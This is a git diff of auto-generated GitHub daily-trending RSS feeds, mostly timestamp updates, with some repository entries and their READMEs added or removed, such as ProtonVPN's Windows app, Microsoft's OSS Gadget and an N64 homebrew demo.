a/awk/daily/index.xml +++ b/awk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Awk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:01Z + 2023-09-20T01:24:48Z Daily Trending of Awk in GitHub \ No newline at end of file diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml index 56bbfce2cbe..8845878a5b2 100644 --- a/ballerina/daily/index.xml +++ b/ballerina/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ballerina Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:00Z + 2023-09-20T01:24:48Z Daily Trending of Ballerina in GitHub \ No newline at end of file diff --git a/basic/daily/index.xml b/basic/daily/index.xml index 50f685804f8..e88c8fbac54 100644 --- a/basic/daily/index.xml +++ b/basic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BASIC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:06Z + 2023-09-20T01:24:53Z Daily Trending of BASIC in GitHub \ No newline at end of file diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml index ddaf77c7cdc..3678a712deb 100644 --- a/batchfile/daily/index.xml +++ b/batchfile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Batchfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:09Z + 2023-09-20T01:24:56Z Daily Trending of Batchfile in GitHub \ No newline at end of file diff --git a/beef/daily/index.xml b/beef/daily/index.xml index cf8b9a4722c..5b7d2d3ef54 100644 --- a/beef/daily/index.xml +++ b/beef/daily/index.xml @@ -1,7 +1,7 @@ GitHub Beef Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:05Z + 2023-09-20T01:24:52Z Daily Trending of Beef in GitHub \ No newline at end of file diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml index 1fb13896496..b72f587593a 100644 --- a/befunge/daily/index.xml +++ b/befunge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Befunge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:04Z + 2023-09-20T01:24:51Z Daily Trending of Befunge in GitHub \ No newline at end of file diff --git a/berry/daily/index.xml b/berry/daily/index.xml index 095ef8d7469..4ddd7cefea2 100644 --- a/berry/daily/index.xml +++ b/berry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Berry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:12Z + 2023-09-20T01:24:58Z Daily Trending of Berry in GitHub \ No newline at end of file diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml index 458b723cff0..980a69bfb93 100644 --- a/bibtex/daily/index.xml +++ b/bibtex/daily/index.xml @@ -1,7 +1,7 @@ GitHub BibTeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:10Z + 2023-09-20T01:24:57Z Daily Trending of BibTeX in GitHub \ No newline at end of file diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml index f2c5ca6bad6..e265860a69b 100644 --- a/bicep/daily/index.xml +++ b/bicep/daily/index.xml @@ -1,14 +1,7 @@ GitHub Bicep Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:11Z + 2023-09-20T01:25:02Z Daily Trending of Bicep in GitHub - - microsoft/AzureOpenAI-with-APIM - 2023-09-19T01:25:11Z - tag:github.com,2023-09-19:/microsoft/AzureOpenAI-with-APIM - - <p>Deploy APIM. Auto-configure it to work with your Azure Open AI.</p><hr> - \ No newline at end of file diff --git a/bison/daily/index.xml b/bison/daily/index.xml index 4c119581433..15106f4ad70 100644 --- a/bison/daily/index.xml +++ b/bison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:15Z + 2023-09-20T01:25:04Z Daily Trending of Bison in GitHub \ No newline at end of file diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml index d84ca075844..e903f0dad33 100644 --- a/bitbake/daily/index.xml +++ b/bitbake/daily/index.xml @@ -1,7 +1,7 @@ GitHub BitBake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:19Z + 2023-09-20T01:25:06Z Daily Trending of BitBake in GitHub \ No newline at end of file diff --git a/blade/daily/index.xml b/blade/daily/index.xml index e6c86e8df20..5a79e7461c0 100644 --- a/blade/daily/index.xml +++ b/blade/daily/index.xml @@ -1,14 +1,7 @@ GitHub Blade Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:16Z + 2023-09-20T01:25:08Z Daily Trending of Blade in GitHub - - ana7hr9/backend - 2023-09-19T01:25:16Z - tag:github.com,2023-09-19:/ana7hr9/backend - - <p></p><hr> - \ No newline at end of file diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml index 5e34c155bf6..3fce4125994 100644 --- a/blitzbasic/daily/index.xml +++ b/blitzbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:17Z + 2023-09-20T01:25:03Z Daily Trending of BlitzBasic in GitHub \ No newline at end of file diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml index 3267b8120ef..34b3ee7b098 100644 --- a/blitzmax/daily/index.xml +++ b/blitzmax/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzMax Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:22Z + 2023-09-20T01:25:10Z Daily Trending of BlitzMax in GitHub \ No newline at end of file diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml index d1bd64d477f..df223935241 100644 --- a/bluespec/daily/index.xml +++ b/bluespec/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bluespec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:20Z + 2023-09-20T01:25:12Z Daily Trending of Bluespec in GitHub \ No newline at end of file diff --git a/boo/daily/index.xml b/boo/daily/index.xml index 4659845e9f8..6cf637708a9 100644 --- a/boo/daily/index.xml +++ b/boo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:21Z + 2023-09-20T01:25:11Z Daily Trending of Boo in GitHub \ No newline at end of file diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml index d8e1cbcc176..299371ebd30 100644 --- a/boogie/daily/index.xml +++ b/boogie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boogie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:25Z + 2023-09-20T01:25:20Z Daily Trending of Boogie in GitHub \ No newline at end of file diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml index e5a38c8f0d1..0ade9d49150 100644 --- a/brainfuck/daily/index.xml +++ b/brainfuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brainfuck Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:24Z + 2023-09-20T01:25:19Z Daily Trending of Brainfuck in GitHub \ No newline at end of file diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml index 4b1d63ab2e3..7a2b4975b75 100644 --- a/brightscript/daily/index.xml +++ b/brightscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brightscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:26Z + 2023-09-20T01:25:15Z Daily Trending of Brightscript in GitHub \ No newline at end of file diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml index 04cfd6a56c1..b2e2784ff99 100644 --- a/browserslist/daily/index.xml +++ b/browserslist/daily/index.xml @@ -1,7 +1,7 @@ GitHub Browserslist Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:28Z + 2023-09-20T01:25:21Z Daily Trending of Browserslist in GitHub \ No newline at end of file diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml index 6e86512192a..820e06c3779 100644 --- a/c%23/daily/index.xml +++ b/c%23/daily/index.xml @@ -1,28 +1,14 @@ GitHub C# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:36Z + 2023-09-20T01:25:28Z Daily Trending of C# in GitHub - ProtonVPN/win-app - 2023-09-19T01:25:36Z - tag:github.com,2023-09-19:/ProtonVPN/win-app - - <p>Official ProtonVPN Windows app</p><hr><h1>Proton VPN Windows app</h1> <p>Copyright (c) 2023 Proton AG</p> <p>This repository holds the Proton VPN Windows app. For a detailed build information see <a href="https://raw.githubusercontent.com/ProtonVPN/win-app/master/BUILD.md">BUILD</a>. For licensing information see <a href="https://raw.githubusercontent.com/ProtonVPN/win-app/master/COPYING.md">COPYING</a>. For contribution policy see <a href="https://raw.githubusercontent.com/ProtonVPN/win-app/master/CONTRIBUTING.md">CONTRIBUTING</a>.</p> <h2>Description</h2> <p>The <a href="https://protonvpn.com">Proton VPN</a> Windows app is intended for every Proton VPN service user, paid or free and supports all functionalities available to authenticated users (user signup instead happens on the web site).</p> <p>You can download the latest stable release, either on <a href="https://protonvpn.com/download">Proton VPN official website</a> or directly on the <a href="https://github.com/ProtonVPN/win-app/releases/latest">official GitHub repository</a>.</p> <h3>The application</h3> <p>The app consists of these interacting parts:</p> <ul> <li>Proton VPN GUI application</li> <li>Proton VPN Service</li> <li>OpenVPN</li> <li>TAP adapter</li> <li>Split Tunnel driver</li> </ul> <h4>GUI application</h4> <p>The Proton VPN GUI app is installed into "C:\Program Files\Proton\VPN&lt;version&gt;" directory by default. The main executable is "ProtonVPN.exe".</p> <p>Proton VPN GUI app starts Proton VPN Service when launched and stops the service when closed.</p> <p>App logs are saved to "%LOCALAPPDATA%\ProtonVPN\Logs" directory.</p> <p>The Proton VPN build using Debug configuration optionally loads its configuration from file "ProtonVPN.config" in the app directory. This file is not deployed during install. If the configuration file doesn't exist or contains not valid values the app tries to save default configuration used in the app.</p> <p>To monitor Http traffic of Proton VPN GUI app using Fiddler or another tool, you might need to disable TLS certificate pinning. To disable TLS certificate pinning the configuration file with empty "TlsPinningConfig" value should be provided:</p> <pre><code> ... "TlsPinningConfig": {} ... </code></pre> <h4>Proton VPN Service</h4> <p>The Windows service "ProtonVPN Service" is installed into "C:\Program Files\Proton\VPN&lt;version&gt;" directory by default. Service executable is "ProtonVPNService.exe". The service is started and stopped by the Proton VPN GUI app.</p> <p>During installation, the service is configured to be started and stopped by the unprivileged interactive users.</p> <p>Service executable supports installation and uninstallation of service. Passing "install" on command line to "ProtonVPNService.exe" installs the service, passing "uninstall" - uninstalls. This installation method doesn't configure service security settings.</p> <p>Service is responsible for interaction with OpenVPN, managing Windows firewall and Split Tunnel driver.</p> <p>Service logs are saved to "%ALLUSERSPROFILE%\ProtonVPN\Logs" directory.</p> <h4>OpenVPN</h4> <p>The Proton VPN uses OpenVPN for maintaining a VPN tunnel. The new OpenVPN process is started on each connect to a VPN and closed on disconnect. Communication with the OpenVPN process is maintained through TCP management interface.</p> <p>OpenVPN is installed into "C:\Program Files\Proton\VPN&lt;version&gt;\Resources" directory by default. The OpenVPN config file is static, it doesn't change for each VPN server.</p> <p>The OpenVPN is built from official source by applying a patch to support Proton VPN specific TAP adapter. See <a href="https://github.com/ProtonVPN/win-openvpn">win-openvpn</a> repository.</p> <h4>TAP adapter</h4> <p>TAP adapter "TAP-ProtonVPN Windows Adapter V9" is used by the OpenVPN.</p> <p>The TAP adapter is built from official source by applying a patch to have Proton VPN specific name and identification. See <a href="https://github.com/ProtonVPN/win-tap-adapter">win-tap-adapter</a> repository.</p> <h4>Callout driver</h4> <p>The kernel-mode driver "ProtonVPN Callout Driver" is used for redirecting socket bindings when Split Tunnel is enabled and preventing DNS leak by sending SERVFAIL response packet for DNS requests which were made from other interfaces than Proton VPN uses.</p> <p>The driver is installed as a system service. It is started when connecting to VPN and stopped when disconnecting by Proton VPN Service.</p> <h2>Folder structure</h2> <p>The main repository folder contains the .NET Visual Studio solution of the Proton VPN Windows app named ProtonVPN.</p> <h3>Folder "ci"</h3> <p>Contains continuous integration scripts.</p> <h3>Folder "packages"</h3> <p>It contains NuGet packages of the ProtonVPN solution.</p> <h3>Folder "Setup"</h3> <p>This folder contains Advanced Installer setup project files, resources included in the installer, and built installer files. Subfolders contain:</p> <ul> <li>"Images" - images for inclusion into the installer.</li> <li>"Installers" - built Proton VPN installer files.</li> <li>"ProtonVPNTap-SetupFiles" - built TAP adapter installer files. The latest successfully built TAP adapter installer file is required to build the Proton VPN installer.</li> <li>"SplitTunnel" - SplitTunnel Callout driver for inclusion into the installer.</li> </ul> <h3>Folder "src"</h3> <p>This folder contains Visual Studio solution projects.</p> <h3>Folder "src\bin"</h3> <p>This folder contains Visual Studio project build output. This folder can be safely deleted as it's content is recreated by building the solution.</p> <h3>Folder "src\srp"</h3> <p>This folder contains GIT submodule of <a href="https://github.com/ProtonMail/go-srp">ProtonMail SRP library</a>.</p> <h3>Folder "test"</h3> <p>This folder contains test projects of the ProtonVPN solution.</p> <h2>Solution</h2> <p>Proton VPN Windows app is created using C# and C++ programming languages, WPF and MVVM technologies. The Visual Studio solution consists of a series of projects:</p> <ul> <li><strong>ProtonVPN.App</strong> - the main project which builds to Proton VPN GUI app executable. It contains startup logic and GUI (view models and views).</li> <li><strong>ProtonVPN.CalloutDriver</strong> - the callout driver written in C++ used for split tunneling and DNS leak protection.</li> <li><strong>ProtonVPN.Common</strong> - the classes shared between projects.</li> <li><strong>ProtonVPN.Core</strong> - the business logic of the application.</li> <li><strong>ProtonVPN.ErrorMessage</strong> - displays an error message when the application cannot be run. Builds to an executable.</li> <li><strong>ProtonVPN.InstallActions</strong> - the C++ actions used by the app installer.</li> <li><strong>ProtonVPN.IpFilter</strong> - the C++ library for configuring Windows firewall filters.</li> <li><strong>ProtonVPN.Native</strong> - the C# wrapper around Windows system libraries.</li> <li><strong>ProtonVPN.NetworkFilter</strong> - the C# wrapper around C++ library for configuring Windows firewall.</li> <li><strong>ProtonVPN.NetworkUtil</strong> - the C++ library for changing network configuration.</li> <li><strong>ProtonVPN.Resource</strong> - contains resources shared between projects.</li> <li><strong>ProtonVPN.Service</strong> - the Windows service which handles VPN, Windows firewall and Split Tunneling.</li> <li><strong>ProtonVPN.Service.Contract</strong> - contains the service contract.</li> <li><strong>ProtonVPN.TapInstaller</strong> - the TAP install action used in the app installer.</li> <li><strong>ProtonVPN.TlsVerify</strong> - the command line utility which verifies the VPN server certificate.</li> <li><strong>ProtonVPN.Update</strong> - the application update module used in the update service.</li> <li><strong>ProtonVPN.UpdateService</strong> - the Windows service which handles the app updates.</li> <li><strong>ProtonVPN.UpdateServiceContract</strong> - contains the update service contract.</li> <li><strong>ProtonVPN.Vpn</strong> - the OpenVPN management module used in the service.</li> </ul> <p>Solution folder "Test" contains test projects.</p> - - - malcomvetter/Periscope - 2023-09-19T01:25:36Z - tag:github.com,2023-09-19:/malcomvetter/Periscope - - <p>Fully Integrated Adversarial Operations Toolkit (C2, stagers, agents, ephemeral infrastructure, phishing engine, and automation)</p><hr><p><img src="https://raw.githubusercontent.com/malcomvetter/Periscope/main/images/periscope-logo.png" alt="logo"></p> <p><em>Note: This is a <em>responsibly disclosed</em> public version of a privately developed, complex, and fairly comprehensive offensive security C2 (command and control) toolset with its own phishing engine and remnants of a fully automated CI/CD deployment methodology. It is intentionally published in such a way that it may be used for <em>educational purposes</em> but will require considerable engineering expertise to make it fully functional.</em></p> <p><em>For example, the agent projects are published incompletely and will not result in ready to use malware.</em></p> <p><a href="https://raw.githubusercontent.com/malcomvetter/Periscope/main/wiki/index.md">&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; READ THE WIKI &lt;&lt;&lt;&lt;&lt;&lt;&lt;</a></p> - - - chunliu/AzureDesignStudio - 2023-09-19T01:25:36Z - tag:github.com,2023-09-19:/chunliu/AzureDesignStudio - - <p>A web app that helps you create the architecture design diagram for your Azure solutions and automatically generate IaC code from it.</p><hr><h1>Azure Design Studio</h1> <p><a href="https://www.gnu.org/licenses/gpl-3.0"><img src="https://img.shields.io/badge/License-GPLv3-blue.svg?sanitize=true" alt="License: GPL v3"></a> <a href="https://github.com/chunliu/AzureDesignStudio/actions/workflows/build.yml"><img src="https://github.com/chunliu/AzureDesignStudio/actions/workflows/build.yml/badge.svg?sanitize=true" alt="build"></a></p> <p>Azure Design Studio is a web application designed to simplify and streamline the process of creating solution architectures for Azure. With a focus on ease of use, efficiency, and consistency, it offers several key features:</p> <ul> <li><strong>Visual design</strong>: Create solution architecture for Azure using a visually appealing and consistent styling.</li> <li><strong>Validation</strong>: Ensure your design adheres to the rules and constraints of Azure resources to reduce errors.</li> <li><strong>Export</strong>: Export your design as images for easy integration into your documents and presentations.</li> <li><strong>Cloud storage</strong>: Save your design in the cloud for convenient access from any location.</li> <li><strong>Infrastructure as Code (IaC) generation</strong>: Automatically generate IaC for your design, with support for both ARM templates and Bicep.</li> </ul> <p>The primary goal of Azure Design Studio is to help users create high-quality solution architectures for Azure while reducing the learning curve associated with ARM and Bicep. By improving the overall user experience, Azure Design Studio enables more efficient design and deployment of solutions on Azure.</p> <p>As an award winning project, Azure Design Studio won the <a href="https://www.credly.com/badges/08684d43-a00e-418c-8cf3-4b5eb48f601f/linked_in_profile">3rd Place Winner award</a> of <strong>Microsoft Global Hackathon 2022</strong>.</p> <p><img src="https://raw.githubusercontent.com/chunliu/AzureDesignStudio/main/assets/AzureDesignStudio.gif" alt="screenshot"></p> <h2>Contribution</h2> <p>All feedback and suggestions are welcome. Please feel free to create an issue if you have any.</p> <p>If you want to build and debug the code locally, please follow the instruction below. All PRs are welcome too.</p> <h3>Build it locally</h3> <p>To build and test the code locally, you will need the following tools:</p> <ul> <li>Visual Studio 2022 (latest version)</li> <li>(Optional) Azure CLI, if you want to debug and test the code locally.</li> <li>(Optional) Docker Desktop, if you want to build the docker image locally.</li> </ul> <p>To build the code, clone the repo:</p> <pre><code class="language-bash">git clone --recursive https://github.com/chunliu/AzureDesignStudio.git </code></pre> <p>And then open the solution in Visual Studio 2022.</p> <p>To launch and debug the code locally, set <code>AzureDesignStudio.Server</code> as the startup project in Visual Studio 2022.</p> <h2>Frameworks and Libraries</h2> <p>Azure Design Studio is built on top of the following frameworks and libraries:</p> <ul> <li><a href="https://antblazor.com/en-US/">Ant Design Blazor</a></li> <li><a href="https://github.com/Blazor-Diagrams/Blazor.Diagrams">Blazor.Diagrams</a></li> <li><a href="https://automapper.org/">AutoMapper</a></li> <li><a href="https://github.com/IvanJosipovic/BlazorApplicationInsights">BlazorApplicationInsights</a></li> </ul> <h2>Disclaimer</h2> <p>Azure Design Studio is a personal project without any warranty. It is neither an official product from Microsoft nor supported by Microsoft. Use it at your own risk.</p> + microsoft/OSSGadget + 2023-09-20T01:25:28Z + tag:github.com,2023-09-20:/microsoft/OSSGadget + + <p>Collection of tools for analyzing open source packages.</p><hr><p><a href="https://www.nuget.org/packages/Microsoft.CST.OSSGadget.Shared"><img src="https://img.shields.io/nuget/v/Microsoft.CST.OSSGadget.Shared" alt="Nuget"></a> <img src="https://github.com/microsoft/OSSGadget/workflows/CodeQL/badge.svg?sanitize=true" alt="CodeQL"></p> <h2>OSS Gadget</h2> <blockquote> <p><strong>Note:</strong> OSS Gadget is currently in <strong>public preview</strong> and is not ready for production use.</p> </blockquote> <p>OSS Gadget is a collection of tools that can help analyze open source projects. These are intended to make it simple to perform low-level tasks, like locating the source code of a given package, downloading it, performing basic analyses on it, or estimating its health. The tools included in OSS Gadget will grow over time.</p> <h3>Included Tools</h3> <p>A list of tools included is below. Click on the name of a tool to go to the wiki for usage information.</p> <ul> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Characteristics">oss-characteristic</a>: Identify a package's notable characteristics and features. Uses <a href="https://github.com/Microsoft/ApplicationInspector">Application Inspector</a>.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Defog">oss-defog</a>: Searches a package for obfuscated strings (Base-64).</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Detect-Backdoor">oss-detect-backdoor</a>: Identifies <em>potential</em> backdoors and malicious code within a package. Currently has a high false-positive rate.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Detect-Cryptography">oss-detect-cryptography</a>: Identifies cryptographic implementations within a package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Diff">oss-diff</a>: Compares two packages using a standard diff/patch view.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Download">oss-download</a>: Downloads a package and extracts it locally.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Find-Domain-Squats">oss-find-domain-squats</a>: Identifies potential typo-squatting for a given domain name.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Find-Source">oss-find-source</a>: Attempts to locate the source code (on GitHub, currently) of a given package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Find-Squats">oss-find-squats</a>: Identifies potential typo-squatting for a given package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Health">oss-health</a>: Calculates health metrics for a given package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Metadata">oss-metadata</a>: Retrieves metadata from deps.dev or libraries.io for a given package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Risk-Calculator">oss-risk-calculator</a>: Calculates a metric for risk of using a package.</li> <li><a href="https://github.com/microsoft/OSSGadget/wiki/OSS-Reproducible">oss-reproducible</a>: Evaluates a package for semantic equivalency with the detected source code to produce an estimate of how well the two comport.</li> </ul> <p>All OSS Gadget tools accept one or more <a href="https://github.com/package-url/purl-spec">Package URLs</a> as a way to uniquely identify a package. Package URLs look like <code>pkg:npm/express</code> or <code>pkg:gem/azure@0.7.10</code>. If you leave the version number off, it implicitly means, "attempt to find the latest version". Using an asterisk (<code>pkg:npm/express@*</code>) means "perform the action on all available versions".</p> <h3>Package Sources</h3> <p>OSS Gadget supports packages provided by these sources:</p> <ul> <li>Cargo - <code>pkg:cargo/...</code></li> <li>Cocoapods - <code>pkg:cocoapods/...</code></li> <li>Composer - <code>pkg:composer/...</code></li> <li>CPAN - <code>pkg:cpan/...</code></li> <li>CRAN - <code>pkg:cran/...</code></li> <li>GitHub - <code>pkg:github/...</code></li> <li>Go - <code>pkg:golang/...</code></li> <li>Hackage - <code>pkg:hackage/...</code></li> <li>Maven - <code>pkg:maven/...</code></li> <li>NPM - <code>pkg:npm/...</code></li> <li>NuGet - <code>pkg:nuget/...</code></li> <li>RubyGems - <code>pkg:gem/...</code></li> <li>PyPI - <code>pkg:pypi/...</code></li> <li>Ubuntu - <code>pkg:ubuntu/...</code></li> <li>Visual Studio Marketplace - <code>pkg:vsm/...</code></li> <li>Generic - <code>pkg:url/...?url=URL</code></li> </ul> <p>We will continue expanding this list to cover additional package management systems and would be happy to accept contributions from the community.</p> <h2>Basic Usage</h2> <p>All OSS Gadget tools are command line programs. When installed globally, they can be accessed from your path. For example, to download the NPM left-pad module, type:</p> <pre><code>$ oss-download pkg:npm/left-pad </code></pre> <p>This will download left-pad into a newly-created directory named <code>npm-left-pad@1.3.0</code>. (Because, at the time of this writing, 1.3.0 was the latest version of <a href="https://www.npmjs.com/package/left-pad">left-pad</a>).</p> <p>Each of the programs self-documents information on command line options (<code>--help</code>).</p> <h3>Building from Source</h3> <p>OSS Gadget builds with standard <code>dotnet build</code> commands and includes tests via <code>dotnet test</code>.</p> <p>See <a href="https://github.com/microsoft/OSSGadget/wiki/Building-from-Source">Building from Source</a> in the wiki for information on building from source.</p> <h3>Docker Image</h3> <p>See <a href="https://github.com/microsoft/OSSGadget/wiki/Docker-Image">Docker Image</a> in the wiki for information on how to use the included Dockerfile.</p> <h3>Advanced Usage</h3> <p>See <a href="https://github.com/microsoft/OSSGadget/wiki/Advanced-Usage">Advanced Usage</a> in the wiki for advanced usage information like changing API endpoints.</p> <h3>Reporting Security Vulnerabilities</h3> <p>To report a security vulnerability, please see <a href="https://raw.githubusercontent.com/microsoft/OSSGadget/main/SECURITY.md">SECURITY.md</a>.</p> <h3>Contributing to OSS Gadget</h3> <p>This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit <a href="https://cla.opensource.microsoft.com">https://cla.opensource.microsoft.com</a>.</p> <p>When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.</p> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> \ No newline at end of file diff --git a/c++/daily/index.xml b/c++/daily/index.xml index c9086f7eea3..edd4fdccd14 100644 --- a/c++/daily/index.xml +++ b/c++/daily/index.xml @@ -1,7 +1,7 @@ GitHub C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:58Z + 2023-09-20T01:26:05Z Daily Trending of C++ in GitHub \ No newline at end of file diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml index 1d26d12f15f..a1655fe1dfb 100644 --- a/c-objdump/daily/index.xml +++ b/c-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub C-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:53Z + 2023-09-20T01:26:01Z Daily Trending of C-ObjDump in GitHub \ No newline at end of file diff --git a/c/daily/index.xml b/c/daily/index.xml index 8c7dd155da4..403e3d3e9f3 100644 --- a/c/daily/index.xml +++ b/c/daily/index.xml @@ -1,7 +1,14 @@ GitHub C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:44Z + 2023-09-20T01:25:41Z Daily Trending of C in GitHub + + lambertjamesd/n64brew2023 + 2023-09-20T01:25:41Z + tag:github.com,2023-09-20:/lambertjamesd/n64brew2023 + + <p>Ultrarare's entry for 2023 n64 game jam</p><hr><h1>megatextures</h1> <p><img src="https://raw.githubusercontent.com/lambertjamesd/n64brew2023/master/images/screenshot.png" alt="Screenshot"></p> <p>This showcases a demo of megatextures running on n64 hardware. A "megatexture" for the n64 is really just a normal sized textured by modern standards but with that you can do some prebaked scenes that look like they don't belong on the n64.</p> <h2>building the rom</h2> <p>to build the rom, you need to install a few dependendencies.</p> <p>First, you will need to setup <a href="https://crashoveride95.github.io/n64hbrew/modernsdk/startoff.html">Modern SDK</a>.</p> <p>After installing modern sdk you will want to also install</p> <pre><code class="language-sh">sudo apt install libnustd </code></pre> <p>Next, you will need to download Blender 3.0 or higher. Then set the environment variable <code>BLENDER_3_0</code> to be the absolute path where the Blender executable is located on your system.</p> <pre><code class="language-sh">sudo apt install blender </code></pre> <p>e.g. add this to your ~/.bashrc</p> <pre><code class="language-bash">export BLENDER_3_0="/usr/bin/blender" </code></pre> <p>Install sfz2n64, mpg123, and sox</p> <pre><code class="language-sh">echo "deb [trusted=yes] https://lambertjamesd.github.io/apt/ ./" \ | sudo tee /etc/apt/sources.list.d/lambertjamesd.list sudo apt update sudo apt install sfz2n64 mpg123 sox </code></pre> <p>You will need to install nodejs. You can use apt for this</p> <pre><code class="language-sh">sudo apt install nodejs </code></pre> <p>Once you have these dependences, you should be able to run <code>make</code> to build the rom. The result will be saved to <code>build/megatextures.z64</code></p> <h2>editing assets/world/test.blend</h2> <p>If you want to build out a scene that uses megatextures, edit <code>assets/world/test.blend</code>.</p> <p>Any object starting with the name <code>@megatexture</code> will be processed as a megatexture. It must have a material with a name that shows up in the file <code>assets/materials/megatextures.skm.yaml</code> of the same name. The material in <code>assets/materials/megatextures.skm.yaml</code> must point to the location of the texture with the fmt set to <code>G_IM_FMT_RGBA</code> and the siz set to <code>G_IM_SIZ_16b</code>.</p> <p>Texture sizes must be a power of two and at most 1024x1024 in size. Texture coordinates must also be set so the pixels are rectangles. The geometry for a single mega texture must also be flat.</p> <p>Becuase no z buffer is used, you should specify a sort_group for a megatexture model. This is done but including the string <code>sort_group</code> in the name followed by a number. Negative numbers are pre sorted positive numbers are sorted at runtime with smaller sort groups being drawn before larger sort groups. If the sort group is the same then the distance of the object from the camera in the z direction is used to sort from back to front.</p> + \ No newline at end of file diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml index 9604ad0582c..ebee04e1326 100644 --- a/c2hs-haskell/daily/index.xml +++ b/c2hs-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub C2hs Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:52Z + 2023-09-20T01:25:59Z Daily Trending of C2hs Haskell in GitHub \ No newline at end of file diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml index aeba37f062e..cdbe348fcae 100644 --- a/cabal-config/daily/index.xml +++ b/cabal-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cabal Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:25:54Z + 2023-09-20T01:26:00Z Daily Trending of Cabal Config in GitHub \ No newline at end of file diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml index ebffeaab011..c084c005d41 100644 --- a/cadence/daily/index.xml +++ b/cadence/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cadence Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:07Z + 2023-09-20T01:26:16Z Daily Trending of Cadence in GitHub \ 